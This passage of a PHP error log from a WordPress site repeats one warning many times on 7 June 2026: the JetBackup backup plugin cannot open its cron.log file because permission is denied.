fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:44:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:45:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:46:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:47:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:48:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:49:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:50:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:51:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:52:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:53:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:53:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:53:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:53:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:53:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:54:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:55:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:56:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:57:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:57:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:57:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:57:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:57:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:58:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:59:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:45 UTC] PHP Warning: 